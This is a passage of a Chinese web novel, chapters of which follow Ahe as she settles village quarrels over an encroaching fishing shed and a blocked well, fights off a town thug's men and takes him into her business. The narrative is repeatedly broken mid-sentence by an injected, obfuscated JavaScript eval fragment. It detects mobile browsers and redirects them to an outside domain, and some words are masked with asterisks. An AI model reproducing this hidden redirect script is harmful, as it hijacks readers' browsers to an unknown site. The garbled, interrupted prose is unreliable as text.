“就是说,如果这事关乎一百两银子,您事成之后,给我五两。”阿禾耐心地解释道,嘴角甚至还带着一丝浅笑,“如果只关乎一两银子,您就给我五十文钱。这么说,四叔您明白了吗?” 这下赵老四是彻底明白了。 明白之后,他那张脸上的热切,肉眼可见地凉了下去。 十个铜板……那都够买好多个肉包子了! 万一她听完事儿办不了,这钱不就打了水漂? 后面还要抽成,这丫头……心也太黑了! 他脸上露出几分犹豫和肉痛,嘴里开始嘟囔: “这……都是乡里乡……” “四兄弟!”顾老实一听这话,脸顿时就拉了下来,他“砰”地一声把手里的旱烟杆往桌上一磕,“你要是觉得不划算,现在就提着你的东西家去!我闺女也不是非要做你这桩买卖不可!” 眼看就要不欢而散,赵老四脸上也有些挂不住,梗着脖子,一副“不就是钱吗谁稀罕”的模样。 “爹,您别生气。” 阿禾却伸手,轻轻按住了顾老实的手臂。 她转向赵老四,脸上的笑容依旧温和,眼神里更是满是真诚,没有半分的嘲讽或是不耐。 “四叔,我晓得您有难处,不然也不会大半夜地摸黑过来。钱都不是大风刮来的,让您就这么掏出来,您心里肯定犯嘀咕。” “这样,您也别急着在这儿定。您先回去,跟婶子,跟家里人,好好商量商量。算算这笔账,要是觉得划算,您明儿再来找我。要觉得不划算,就当我今晚没说过这话,咱们还是跟以前一样的叔侄,见了面该打招呼打招呼。” 她的话,像一阵暖风,吹散了屋子里那股子剑拔**张的**味。 赵老四彻底愣住了。 他设想过阿禾会讥讽他小气,也想过顾老实会直接把他扫地出门,却唯独没想过这丫头会如此体谅他的处境,甚至还反过来替他着想。 一时间,他只觉得自己的那点小算盘,在这姑娘清澈坦荡的目光下,显得无比的龌龊和上不得台面。 他一张老脸“腾”地一下烧了起来,提着篮子的手都不知道该往哪儿放,讪讪地道歉: “阿禾……阿禾姑娘,是……是四叔我小人之心了,我这就回去商量商量……” 说完,他几乎是落荒而逃,连桌上那篮子鸡蛋都忘了拿。 第二天,天刚蒙蒙亮。 顾家院子里,顾大娘正压低了声音,忧心忡忡地跟顾老实念叨: “他爹,你说阿禾这孩子,是不是胆子太大了?她一个姑娘家,掺和村里这些乱七八糟的事,万一……万一办砸了,名声还要不要了?” 顾老实蹲在门槛上,一口一口地抽着闷烟,也是一脸愁容。 只有阿禾像个没事人一样,坐在灶房门口的小板凳上,端着一碗热腾腾的鱼汤泡饭,小口小口地吃着,神态安然。 “爹,娘,你们怕什么。”她咽下一口饭,抬起头笑道,“办不成,不收钱就是了。至于名声,那东西还能当饭吃不成?我心里有数。” 她笃定的模样,让顾家夫妇心里的焦躁平复了些,却又生出更多的不解。 就在这时,顾小川一阵风似的从外面冲了进来,脸上满是不可思议。 “爹!娘!” 他指着院门外,兴奋地喊道: “那个赵老四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139473|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……他真的在外面等着呢!” “……手里还拿一把铜钱!” 顾老实和顾大娘交换了一个眼神,都从对方眼里看到了惊诧和一丝丝的荒唐。 这……还真有上赶着送钱的? 阿禾倒是从容,她没急着让人进来,而是自己先走到了院门口,隔着半开的门,目光平静地看着赵老四。 “四叔,想好了?” 赵老四被她看得老脸一热,重重地点了点头,把手里那把攥得发烫的铜钱往前一递:“想好了!阿禾姑娘,这是十文钱,你先收着!” 阿禾没接,只是侧身让开了路。 “进来说吧。” 赵老四进了院子,顾家其他人识趣地没围上来。 阿禾搬了条小板凳,就坐在院子里的老槐树下。 “四叔,坐下说。” 赵老四哪敢坐,局促地搓着手,三言两语就把事情给倒了出来。 原来,他家跟邻居李老三共用一口井,可前阵子,他家搭渔棚的时候,贪了点地方,地基往李老三家那边多占了半尺。李老三也不是个省油的灯,发现之后,二话不说,直接搬了块大石头把井口给堵了,不让他家打水。 赵老四一家理亏,好声好气去商量,愿意赔不是,可那李老三却狮子大开口,说要么赔他五两银子,要么就把井边那块空地都划给他家。 “……阿禾姑娘,你说他这不是欺负人吗?就半尺地,他就要五两银子!村长去调解,他也是那副滚刀肉的样儿,说我们不占他地,他能堵井吗?一口咬死是我们错在先!”赵老四说得是口干舌燥,满脸愤懑。 “占地是真,他堵井也是真?”阿禾听完,只问了这么一句。 “……是真。”赵老四的声音一下子小了下去,底气也没了。 院子里静了下来。 这事儿,明摆着就是赵老四自家不占理。 赵老四也晓得,脸上火辣辣的,他偷眼去看阿禾,以为会看到鄙夷或者不耐烦,却发现那姑娘只是垂着眼,在想事情,脸上没什么表情。 第390章 公事公办 过了会儿,阿禾才抬起头。 “四叔,这事儿,法子倒是有,就是怕您不乐意。” 赵老四眼睛一亮,连忙道:“乐意!乐意!只要能让李老三那龟孙把石头搬开,咋都乐意!” “明日一早,您就去找人,当着村里人的面,把那占了地的渔棚给拆了。拆干净,恢复原样。”阿禾缓缓说道。 赵老四脸上的喜色,瞬间就僵住了。 “拆……拆了?”他结结巴巴地问,“那……那不就遂了李老三的意了?我家的渔网放哪儿……” “四叔,”阿禾打断了他,“一码归一码。渔棚占地,是您的错处。井是公用的,他堵井,是他的错处。您不能拿您的错去抵他的错,那这官司就算打到县太爷跟前,您也赢不了。” “您先把自己的错处认了,改了。到时候,您家不占他家的地了,他李老三再堵着井不让您打水,那错处就全在他一人身上了。到那时,您再请村长过去,您看村里人是帮您说话,还是帮他说话?” 赵老四愣在原地,张着嘴,半天没说出话来。 他想找的是个取巧的妙计,能让他既保住渔棚,又能用上水。 可阿禾给的,却是个最笨、最直接,也让他最没面子的法子。 他脸上青一阵白一阵,心里那杆秤拨来拨去,怎么算都觉得亏。 阿禾看他那副样子,也不催,站起身,走到他跟前,把他那只攥着铜钱的手轻轻推了回去。 “四叔,我的法子就是这个。您要是觉得不妥,这十文钱您先拿回去。” 她笑了笑,那笑容干净又坦然。 “您拿着这事儿,再去村里问问旁人,或者去镇上找个讼师打听打听,看看他们有没有更好的法子。您什么时候觉得我这法子是眼下最好的,再把这钱给我送来也不迟。” 赵老四彻底懵了。 他看着手里的铜钱,又看看眼前这个神色坦荡的姑娘,只觉得自己的那点小心思,被照得一干二净。 人家根本不怕他去问,不怕他不给钱。 这说明什么? 说明人家有十足的把握,这事儿,就得这么办! 他一张老脸涨成了猪肝色,最后,一咬牙,把那十个铜板硬是塞进了阿禾手里。 “不问了!就按姑娘说的办!” 说完,他像是怕自己反悔似的,转身就往外走,走得飞快。 人一走,顾大娘就从屋里走了出来,一把拉住阿禾。 “阿禾,他家啥事啊?你真收他钱了?” 不等阿禾回答,顾小川和顾石头也围了上来,一脸的好奇。 阿禾却把那十文钱小心地放进自己的口袋里,摇了摇头,一本正经地说道: “娘,这是人家的私事。我既然收了钱,就得有规矩,不能往外说。” “嘿!你这丫头……” 顾大娘被她这副“公事公办”的模样气笑了。 她点了点阿禾的额头,压低了声音:“你不说我也晓得!是不是为了李老三家那口井?赵老四占了人家的地,被堵了井口,全村都传遍了!” 阿禾闻言,只是笑了笑,没承认也没否认。 顾大娘一看她这表情,就知道自己猜对了,顿时一拍大腿: “这赵老四也真是的!自家不占理,还好意思上门来找你!这事儿就该让他吃个教训!让他拆棚子,拆得好!” “就是!”一旁的顾石头也跟着附和,他年纪小,看事情非黑即白,“他自己做错了事,还有脸找人帮忙!” 院子里,顾家人的口风出奇地一致,都在数落赵老四的不是。 “话不能这么说。” 阿禾清清浅浅的声音,忽然响了起来。 她看着家人,眼神清亮而认真: “赵四叔占地,是他不对。可李三叔因为这半尺地,就要讹人五两银子,还堵了公用的井,让一家人没水吃,这也不对。” “赵四叔是有错,可有错,不代表他就活该被人家往死里欺负,连为自己争个公道的权力都没有。” 一番话,让整个院子都静了下来。 顾老实停下了往烟锅里按烟丝的手,顾大娘脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139474|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的理所当然也凝固了。 顾石头更是听得一头雾水,他挠着头,不服气地小声嘟囔: “……可……可明明是他先错的啊……” 顾小川却猛地一拍巴掌,两眼放光地看着自家妹子,那眼神,比昨天在王二癞子家时还要崇拜。 “爹,娘!你们不懂!阿禾这说得才叫道理!这叫……这叫公事公办!” 他激动地比划着: “我以前跟人去镇上,偷偷趴在县衙门口看过升堂!那些师爷,还有官老爷,审案子的时候就是这样的!不管谁对谁错,都得让他把话说完,都得按律法来!阿禾这……这简直就跟衙门里的师爷一个派头!” 顾小川的话,像是一道光,瞬间照亮了顾老实和顾大娘混沌的脑子。 他们愣愣地看着自家闺女。 是啊,公道,公正……这些词他们都懂,可从没想过,能用在村里这些鸡毛蒜皮的邻里**上。 在他们看来,谁先错,谁就活该倒霉。 可阿禾却告诉他们,不是的。 错了,要认,要改。 可被人欺负了,也一样要争,要讨个说法回来。 顾老实吧嗒了两下嘴,把烟杆重新叼上,看着阿禾的眼神里,除了惊诧,又多了几分说不清道不明的敬畏。 他这个闺女,是真的不一样啊。 …… 赵老四是第三天上午回来的。 人还没进院子,顾小川就先一步蹿了进来,压着嗓子,激动得脸都红了。 “爹!娘!成了!真的成了!” 他指着院门外,手舞足蹈: “赵四叔家那棚子昨天拆了,今天一早,李老三家的就自个儿把堵井的石头给搬开了!我亲眼瞧见的,李老三那脸,跟吃了苍蝇似的!” 顾老实和顾大娘闻言,对视了眼,都从对方眼里看到了几分不可思议。 这……还真叫阿禾说着了? 话音未落,赵老四就满脸堆笑地走了进来,手里还捧着个用红布包着的东西,一进门就冲着阿禾作揖。 第391章 阿禾姑娘神了! “阿禾姑娘!神了!真是神了!”他把手里的东西往前一递,红布散开,露出一串沉甸甸的铜钱,“姑娘,这是说好的谢礼!那李老三不仅搬了石头,还当着村长的面给我赔了不是!这事儿多亏了你!” 顾大娘眼尖,看着那串铜钱,估摸着少说也有二三百文,心头顿时火热起来。 阿禾却没接,只是淡淡地瞥了眼那钱。 “四叔,李三叔要的那五两银子,您没给吧?” “没给!哪能给他!”赵老四把胸脯拍得山响,“我照你说的,棚子一拆,错处认了,村长和大伙儿立刻都站我这边了!他李老三再敢提银子的事,唾沫星子都能淹死他!” “那就好。”阿禾点点头,却把那些钱又推了回去。 “四叔,这事儿不牵扯银钱,本该按镇上讼师的最低价算。但您是头一个信我的,这五十文我不要,就当是我请您喝茶了。” 赵老四愣住了,顾大娘也急了。 “阿禾,你这孩子……” “四叔,您收好。”阿禾的声音不大,却带着不容置喙的意味,“往后村里抬头不见低头见的,别为这点事伤了情分。” 赵老四看着被推回来的铜钱,再看看阿禾那双清澈坦然的眼睛,一张老脸涨得通红。 他原以为这丫头是个精明算计的,却不想人家心里敞亮得像面镜子。 他又是感激又是羞愧,重重地点了点头,把钱收好,千恩万谢地走了。 人一走,顾大娘就忍不住念叨开了: “你这傻丫头!送到手边的钱都不要!二百多文呢,够买多少斤肉了!” 阿禾笑道:“娘,名声要是没有也就没啥,但要是有了,就比钱金贵。这钱不收,自然有不收的用处。” 顾小川在一旁听得连连点头,满眼都是崇拜:“对!娘,你就不懂了!这叫……这叫放长线钓大鱼!” 顾老实吧嗒着旱烟,看看自家闺女,浑浊的眼睛里,透出一种他自己也说不清的、混杂着骄傲与陌生的复杂光芒。 …… 后来,果然如阿禾所料,因为不收钱的事,赵老四自发到处宣传,阿禾的名声一下子就这么在渡口村传开了。 都说顾家那丫头不声不响的,却是个有大本事的。 不仅能把王二癞子那样的滚刀肉治得服服帖帖,还能把赵老四和李老三家那摊子烂事给理顺了。 最关键的是,人家办事敞亮,讲规矩,还不贪财。 这名声一出去,当天下午,顾家的院门就又被敲响了。 来的是村西头的张寡妇,她男人前年出海没了,家里田产被她那五大三粗的小叔子占了不少,一直受着欺负。 她一进门,不等顾家人开口,就先从怀里掏出十个铜板,双手捧着递到阿禾面前,眼圈红红的。 “阿禾姑娘,我……我晓得你这儿的规矩。这是十文钱,你先收着……求你,求你给我这孤儿寡母的,指条明路吧!” 阿禾关起门来跟张寡妇说了半天,最终眼睛红红进来的张寡妇,眼睛亮亮地出去了。 …… 第二天,更是来了个意想不到的人。 是邻村上水村的一个老渔户,姓李,被人叫做老李头。 他被镇上一个叫“**子”的鱼贩子坑了,一批上好的海鱼,被**子用阴阳秤坑了分量,还赖了他一半的鱼钱。 那**子是镇上有名的地头蛇,手底下养着几个打手,老李头吃了亏也不敢声张,听说了渡口村阿禾的名声,抱着死马当活马医的心态找了过来。 阿禾听完,只教了他一个法子,如此这般一说。 老李头将信将疑地走了。 谁也没想到,就过了两天,那老李头竟是租了头毛驴,驮着两条活蹦乱跳的大青鱼,敲锣打鼓地就进了渡口村。 他把鱼送到顾家,见人就夸。 “渡口村的乡亲们,你们是不知道啊!你们村的阿禾姑娘,那不是凡人,那是天上的文曲星下凡啊!” “就指点了我两句,那**子就把吞了我的钱,连本带利地都吐出来了!还给我赔了不是!” 村民们围着看热闹,听得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149847|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啧啧称奇。 老李头越说越激动,拉着顾老实的手,满脸羡慕: “老哥,你家这是祖坟冒青烟了!有这么个闺女,往后是要出凤凰的!我看阿禾姑娘这气度,这见识,指不定是哪个大户人家的千金小姐流落到咱们这小渔村了!” 这话一出,众人看阿禾的眼神就更不一样了。 羡慕,敬畏,还带着几分探究。 顾家要飞黄腾达了——这个念头,像一颗种子,落进了每个人的心里。 …… 然而,渡口村这边的喜气洋洋,传到别处就变了味儿。 镇上,**子的鱼行里。 一个伙计正唾沫横飞地讲着从渡口村听来的见闻,末了,还添油加醋地学着老李头的腔调: “……说那丫头是文曲星下凡,我看啊,就是个会使阴招的狐狸精!” 啪! 一个茶碗被狠狠地掼在地上,摔得粉碎。 **子坐在太师椅上,一张脸黑得像锅底。 他本就是靠着心黑手狠才在镇上立足的,这次被老李头摆了一道,当着所有同行的面丢了脸,正憋着一肚子火。 “你的意思是,老子是被一个十几岁的丫头片子给耍了?”他声音阴沉,眼里的凶光像是要**。 那伙计吓得一哆嗦,连忙跪下: “老大,千真万确!就是渡口村顾家的那个阿禾!现在十里八乡都快把她传成活神仙了!” **子胸口剧烈地起伏着。 他跟王二癞子那种村头混混不一样,他在镇上有门面,有势力,还跟城里的黑帮有交情,他最看重的就是“脸面”二字。 被个老渔户用阳谋算计了,他认栽,只当是自己走了眼。 可这事背后,竟然是个小丫头在指手画脚? 这口气,他咽不下! 这要是传出去,他**子以后还怎么在道上混? “妈的……”他从牙缝里挤出两个字,一脚踹翻了身边的凳子,“一个**都没长齐的丫头,也敢在太岁头上动土!” 第392章 你这条胳膊值多少钱? 他站起身,对着院里几个正在磨刀的打手吼道: “都**别磨了!抄上家伙,跟我走!” “今儿晚上,老子就去会会那个‘文曲星’!” “我倒要看看,是她的嘴硬,还是老子的棍子硬!” 天黑了。 顾家饭桌上,难得地加点了荤腥。 顾大娘把那两条大青鱼炖了一锅汤,奶白色的鱼汤冒着热气,香味飘了半个院子。 一家人围着桌子,气氛是前所未有的松快。 可就在这时—— 哐当! 一声巨响,院门不是被撞开,而是被一脚直接踹得门板开裂,轰然倒向院内。 桌边的欢声笑语戛然而止。 顾大娘手里的汤勺“咣”地掉进锅里,溅起一片滚烫的汤汁。 月光和灯笼的光亮中,五个手持棍棒的壮汉堵在门口,为首一人,正是满脸横肉的**子。 他阴鸷的目光在院里一扫,最后落在正中央那锅热气腾腾的鱼汤上,狞笑一声,大步上前一脚踹翻了桌子。 滚烫的鱼汤和碗碟碎了一地。 “啊!”顾大娘吓得尖叫一声,顾老实更是脸色煞白,哆哆嗦嗦地站起来,话都说不利索。 “小禾!”顾小川一个箭步挡在阿禾身前吼道:“你们是什么人?想干什么!” **子压根没理他,径直走到顾老实面前,一把揪住他的衣领,像拎小鸡似的把他掼在土墙上。 “老东西,我就是镇上鱼行的**子。”他凑近了,嘴里的酒气喷在顾老实脸上,“听说你家出了个能人,把我**子的脸都给打了。今天,我就是来找她算账的!” 这边的巨大动静,早就惊动了左邻右舍。 院墙外头,很快就围满了探头探脑的村民,连村长都拄着拐杖闻讯赶了过来。 **子的手下们却浑不在意,拎着棍子在院里踱步,对着外头的人耀武扬威地吼道: “看什么看!我们**哥是镇上响当当的人物,跟官府都有交情!不想惹麻烦的都给老子滚远点!” 这话一出,原本还有些骚动的村民们顿时安静下来,窃窃私语声四起。 “完了,这下惹上镇上的地头蛇了。” “我就说嘛,那丫头太爱出风头,迟早要出事。” “顾家这回怕是……唉……” 各种议论声不大,却清晰地飘进院里,有同情,有担忧,更多的却是事不关己的讥讽和幸灾乐祸。 这些眼神,比**子的棍棒更让人心寒。 “有话……有话好说……”顾小川看着被按在墙上,吓得快喘不上气的爹,声音突然软了下来,“这位大哥,消消火,闹大了对谁都没好处……” **子以为他怕了,脸上露出得意的狞笑。 他“呸”地一口唾沫吐在顾老实脚边。 “现在知道怕了?晚了!”他用棍子一指被顾小川护在身后的阿禾,下达最后通牒:“让你那宝贝闺女,立刻给老子跪下磕三个响头!不然,我今天就先打断你这老东西的腿!” “不要啊!”顾大娘哭喊着,腿一软就要跪下去求饶。 “娘!”顾小川一把死死拉住她,压低声音道,“别跪!你忘了阿禾的本事了?信她!” 这一声,像是点醒了魂不守舍的顾大娘。 她猛地想起王二癞子的下场,想起女儿那份从容淡定,心里的天平瞬间倾斜。 她非但不跪了,反而一个转身,和顾大山、顾石头一起,拦在了阿禾面前。 “阿禾,你……你可千万别下重手啊!打残了要赔钱的!” 院墙外看热闹的村民们全都看傻了。 这顾家人是吓疯了? 儿子不让娘下跪,当娘的反而担心女儿把人打残? 就连被挟持的顾老实,也颤巍巍地开了口,却是对着自家女儿说的: “阿禾……有话……有话好好说……” 这场景看的人奇怪的很。 而阿禾拨开护着她的家人,脸上也不见半分慌乱。 她冲着顾老实安抚地点了点头,仿佛在说:爹,你放心。 然后,她抬起眼,无视了周围所有的议论和惊诧,目光平静地落在**子那只揪着父亲衣领的手臂上,忽然问 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可阿禾没有后退,甚至没有闪躲。 在棍棒即将临身的那一刹那,她反而向前踏出一步,身体微微下沉,摆出了一个谁也看不懂的架势。 说时迟那时快! 她整个人如离弦之箭,不退反进,率先冲向左侧一名最壮的打手。 那人狞笑着当头一棍砸下,阿禾的身体却鬼魅般地一晃,轻易躲过,顺势欺近,右手快如闪电地扣住对方握棍的手腕,反向一拧! “咔嚓!” 一声清脆得让人牙酸的骨骼错位声响起。 “啊——!”壮汉发出杀猪般的惨叫,手里的木棍脱手飞出,人已经抱着手腕在地上打滚。 阿禾的动作没有丝毫停歇。 她看也不看倒地的人,左脚精准地一踢,将那根刚落下的木棍勾了起来。 木棍在空中划出一道弧线,不偏不倚,正中右侧另一名冲来打手的膝盖窝。 第393章 我们可以谈谈生意了 “噗通!”那人惨叫都没来得及发出,腿一软就跪倒在地,抱着膝盖再也站不起来。 电光石火之间,两个打手已经废了。 剩下三人被这诡异的场面吓得脚步一滞,但已经来不及了。 阿禾的身影在他们中间穿梭,手肘、膝盖、掌沿,都成了最致命的武器。 她每一次出手都简单、直接、有效,只攻击关节、软肋这些最脆弱的地方。 砰!砰!砰! 又是三声闷响和接连的痛呼。 不到三个呼吸的功夫,五个气势汹汹的打手,已经全部躺在地上,抱着胳膊的,捂着腿的,蜷缩成一团,哀嚎不止,却没有一个人身上见了血。 院子里,只剩下阿禾静静地站着,仿佛刚才什么都没发生过。 **子脸上的狞笑彻底僵住了,嘴巴微微张着,眼睁睁看着自己的人在地上呻吟,那表情像是白日见了鬼。 顾家人呢? 他们好像早就料到会是这个结果,顾大娘甚至还松了口气,拍了拍胸口。 ——看起来不用赔太多钱的样子。 院墙外,死寂。 那黑压压一片探头探脑的村民,此刻全都像是被掐住了脖子的鸡,一个个瞠目结舌,表情石化。 不知是谁,先是倒吸了一口凉气。 紧接着,人群如同被投入石子的水面,瞬间爆发出海啸般的议论声! “天爷啊!我看到了什么?” “一眨眼……就全倒了?” “好俊的功夫!”一个看热闹的汉子忍不住脱口而出,喊了一声好。 这一声,点燃了所有人的情绪。 村民们看向院中那个女孩的眼神,彻底变了。 原先的同情、讥讽、幸灾乐祸,此刻全都化为了震惊、敬畏,甚至是一种狂热的崇拜。 这哪里是顾家那个不声不响的丫头,这分明是个深藏不露的绝世高人! 阿禾捡起脚边那根掉落的木棍,掂了掂,不轻不重,正趁手。 她没有看地上呻吟的打手,目光径直锁着院子角落里那个已经完全呆住的男人。 然后,她提着棍子一步一步走了过去。 她的脚步很轻,踩在混着鱼汤的泥地上,没有发出半点声响,可每一步都像踩在**子的心跳上。 **子本能地想后退,后背却“咚”地撞上了冰冷的土墙,退无可退。 他眼里的凶光早已散尽,只剩下见鬼般的惊恐。 他想张嘴说句场面话,喉咙却干得发不出声。 院墙外的村民们连大气都不敢喘,他们以为,接下来就是血溅当场的场面了。 顾大娘的心又提到了嗓子眼,双手死死攥着顾小川的胳膊。 可阿禾走到**子面前,并没有动手。 她只是抬起手,将那根木棍“噗”地声,直直****子脚前半寸的泥地里。 木棍入土三分,兀自颤动不休。 阿禾松开手,抬起脸,脸上甚至还带着几分真诚的笑意,与方才算账时的神情如出一辙。 “现在,我们可以谈谈生意了。” 生意? **子脑子嗡地响,彻底懵了。 他身后的土墙,院外的村民,地上的手下,仿佛都成了虚幻的背景。 眼前这少女平静的脸,才是唯一的真实。 阿禾仿佛没看到他脸上的呆滞,自顾自地说了下去,声音清脆,条理分明: “我知道,你表面上做鱼行,实际呢,是在镇上混的。做之前老李头那个单子的时候,我就已经打听清楚了。” “你这种收保护费的营生,我方才想了想,实在没什么前途。” “风险高,你今天带五个人来,转眼就都躺下了。万一哪天碰到个比我更能打的,或是碰上官府严查,你这条命随时都能丢掉。” “利润薄,你从老李头那儿坑来的鱼钱,撑死也就几两银子。为这点碎银,又是养打手又是担风险,纯属低端产业,划不来。” 她每说一句,**子脸上的肌肉就不由自主地抽搐一下。 这些话,粗鄙直白,却像刀子,把他赖以为生的“事业”剖析得一文不值。 他从未想过,自己引以为傲的“威 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他压根没看清院里的情形,只当是**子把顾家给砸了,心里乐开了花,一溜烟跑到**子身边,点头哈腰,满脸谄媚。 第394章 契约成立 “**哥!您怎么亲自来了!这顾家的臭丫头欠我十二两银子,我正要来讨!您放心,今天我王二癞子就是您的人,帮您把这家人往死里拾掇!” 这突兀的声音,像块石头砸破了冰面。 **子缓缓转过头,看着眼前这张不长眼的谄媚嘴脸,又扭头看了看对面一脸平静、仿佛在看戏的阿禾。 他忽然就明白了。 台阶来了。 展示自己“价值”的机会,也来了。 他什么话都没说,只是抬起手。 “啪!” 声清脆响亮的耳光,势大力沉。 王二癞子整个人被抽得陀螺似的转了半圈,一头栽倒在地,半边脸瞬间肿得像发面馒头,嘴角见了血。 他捂着脸,彻底被打懵了,难以置信地看着**子:“黑……**哥,你打我做啥?” **子居高临下地看着他,脸上恢复了往日的狰狞,那股气势却不再是对着顾家人,而是全部压在了王二癞子身上。 他啐了口带血的唾沫,声音不大,却清晰地传遍了整个院子,也传到了院外所有人的耳朵里。 “阿禾姑娘的账,就是我**子的账!” “你算个什么东西,也敢来这儿讨债?” **子这一嗓子,吼得王二癞子魂飞魄散,也吼得院里院外鸦雀无声。 他甚至没再多看王二癞子一眼,只对自己那几个还在地上哼哼唧唧的手下使了个眼色,厉声喝道: “都**别装**!给老子起来!” 那几个打手一听,哪怕胳膊脱了臼、腿疼得钻心,也一个个咬着牙,互相搀扶着爬了起来。 “把这几个不长眼的东西,都给老子拖到村口大榕树底下跪着!”**子下令,“让他自己跟全村人说清楚,当初是怎么讹诈顾家的!说不清楚,就打到他说清楚为止!” “是,老大!” 手下们忍着痛,如狼似虎地扑过去,架起还在发懵的王二癞子和他那几个同伙,就往外拖。 王二癞子杀猪般的嚎叫和求饶声响彻夜空,很快就远去了。 渡口村的村民们,呼啦一下,都跟着去看热闹了。 方才还拥挤不堪的院墙外,一下子变得空旷起来,只剩下几个胆小的,还远远地伸着脖子张望。 顾家院子里,气氛变得微妙。 **子处理完这一切,重新转过身,面对阿禾。 他高大的身影像一座小山,脸上横肉狰狞,可那双凶悍的眼睛里,却翻涌着复杂难明的情绪。 他沉默了许久,粗重的呼吸声在寂静的夜里格外清晰。 最终,他像是用尽了全身力气,从喉咙里挤出两个字: “**!” 阿禾脸上没什么意外的神色,仿佛早就料到这个结果。 她点了点头,从怀里摸出几个铜板,正是之前赵老四给的那十文钱。 她伸出手,将这十个沾着她体温的铜板递到**子面前。 “这是启动资金,也是我们第一单生意的定金。” **子看着那十个在月光下泛着暗淡光泽的铜板,整个人都僵住了。 他想过无数种可能,想过立誓,想过歃血为盟,甚至想过要交出一大笔投名状。 他怎么也想不到,对方给出的,是十文钱。 这算什么?打发叫花子吗?他脸上的肌肉抽搐着,一种混杂着荒诞和**的感觉涌上心头。 可当他看到阿禾那双真诚无波的眼睛时,那股火气又莫名其妙地熄了下去。 他忽然明白了,这不是羞辱,这是规矩。 他,**子,从今天起,也是她生意的一部分。 他喉结滚动了一下,伸出那只方才还揪着顾老实衣领的大手,郑重地、小心翼翼地,从阿禾纤细的手指间,接过了那十个铜板。 铜钱入手,沉甸甸的,仿佛有千斤重。 这一刻,契约成立。 “第一个目标,镇上福瑞祥布行的钱掌柜。”阿禾的声音打破了沉默,“他最近被一笔烂账搞得焦头烂额,吃不下睡不着。” “明天中午,镇上最好的酒楼,天香楼,二楼雅间,我约了他。” 阿禾看着**子和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钱掌柜闻声抬起头,看到一个面生的村姑,又看到她身后站着的**子,眉头皱得更紧了,脸上满是警惕和不耐烦: “你是谁?**子,这是你带来的人?我可没请你们来!” **子脸上的得意笑容瞬间僵住了。 他震惊地看向阿禾,脑子里嗡的一声。 ——她根本就没约好! 甚至,人家压根就不认识她! 钱掌柜的耐心显然已经耗尽,他挥了挥胖手,像赶苍蝇似的: “哪来的村姑,别在这儿耽误我清净。**子,管好你的人,赶紧带走,我这茶水可不是给闲人喝的!” 这话说得毫不客气,**子一张脸顿时涨成了猪肝色。 他刚在阿禾面前立了威,转头就要在这镇上最有钱的布行老板面前丢了脸? 这口气他咽不下。 可他又不敢真对钱掌柜动手,这人是镇上的财神爷,得罪了他,以后自己的兄弟们连喝酒的钱都难挣。 就在他进退两难,额头冒汗之际,阿禾却开了口。 “钱掌柜,您别动气。”她的声音依旧平稳而真诚,听不出半点被轻视的恼怒,“我既然能找到这儿,自然是带着诚意来的。” “诚意?”钱掌柜冷笑一声,眯着眼打量她,“一个黄毛丫头,带着镇上的地痞,跟我谈诚意?我福瑞祥做的是正经买卖,可不想跟道上的人扯上关系。慢走,不送!” 他作势就要起身。 “钱掌柜!” **子猛地往前踏了一步,抱拳躬身,声音沉闷如鼓。 “这位阿禾姑娘,不是我的人。恰恰相反,我**子,是她的人。” 这一句话,比一巴掌打在钱掌柜脸上还让他震惊。 钱掌柜刚抬起的屁股又坐了回去,满脸的肥肉都在抖,眼睛瞪得溜圆,难以置信地在**子和阿禾之间来回扫视。 **子是什么人? 镇上出了名的滚刀肉,横着走的主儿。 他竟然会认一个十几岁的小丫头当家? 这太阳是打西边出来了? 他脸上的轻蔑和不耐烦褪去,换上了一副浓重的惊疑。 阿禾看准时机,不疾不徐地接上了话。 “钱掌柜误会了。我做的,也是正经生意。” 她端起桌上的茶杯,给自己倒了杯凉茶,神态自若得仿佛这里是她家院子。 “您看,官府的衙门里,有提笔写状纸的讼师,也有提刀抓人的衙役。讼师动口,衙役动手,分工明确,才能把案子办成。对吧?” 钱掌柜下意识地点了点头,不明白她葫芦里卖的什么药。 